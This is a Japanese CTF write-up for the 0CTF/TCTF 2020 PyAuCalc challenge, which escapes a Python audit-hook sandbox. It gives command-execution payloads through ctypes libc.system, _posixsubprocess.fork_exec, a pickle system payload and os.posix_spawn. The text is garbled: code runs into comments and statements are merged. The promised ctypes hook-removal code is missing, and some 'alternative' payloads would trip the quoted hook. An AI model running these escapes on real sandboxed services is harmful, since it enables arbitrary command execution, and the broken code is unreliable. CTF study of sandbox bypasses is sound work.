0CTF/TCTF 2020 - PyAuCalc
Challenge
Python 3.8 の audit hook で保護された環境。
import sys
def audit_hook(event, args): blocked = ['exec', 'compile', 'os', 'subprocess', 'open'] if any(b in event for b in blocked): raise RuntimeError(f"Blocked: {event}")
sys.addaudithook(audit_hook)
expr = input(">>> ")print(eval(expr))Solution
ctypes による audit hook バイパス
ctypes で Python インタープリタの内部構造にアクセスし、audit hook を無効化:
import ctypes
# Python の内部構造にアクセス# audit_hook_head を NULL にするlibc 直接呼び出し
import ctypes
# libc をロードlibc = ctypes.CDLL(None)
# system() を直接呼び出し (audit hook をバイパス)libc.system(b'cat /flag')_posixsubprocess の利用
import _posixsubprocessimport os
_posixsubprocess.fork_exec( [b'/bin/sh', b'-c', b'cat /flag'], [b'/bin/sh'], True, (), '', {}, -1, -1, -1, -1, -1, False, False, -1, -1, -1, -1, None)Technical Details
audit hook の内部構造
typedef struct _Py_AuditHookEntry { struct _Py_AuditHookEntry *next; Py_AuditHookFunction hookCFunction; void *userData;} _Py_AuditHookEntry;ctypes による操作
import ctypes
# Python オブジェクトのメモリアドレスを取得id(obj)
# アドレスからオブジェクトを復元ctypes.cast(address, ctypes.py_object).value
# メモリを直接操作ctypes.memmove(dst, src, count)audit イベント (Python 3.8)
| イベント | 説明 |
|---|---|
import | モジュールインポート |
exec | exec() 呼び出し |
compile | コードコンパイル |
open | ファイルオープン |
os.system | シェルコマンド実行 |
Alternative Solutions
別解1: 監視されていない関数
# pickle は監視されていない可能性import picklepickle.loads(b"cos\nsystem\n(S'id'\ntR.")別解2: subprocess 以外のプロセス実行
import osos.posix_spawn('/bin/sh', ['sh', '-c', 'id'], {})Flag
flag{...}
References
- 0CTF/TCTF 2020 Official
- PEP 578 (Python Runtime Audit Hooks)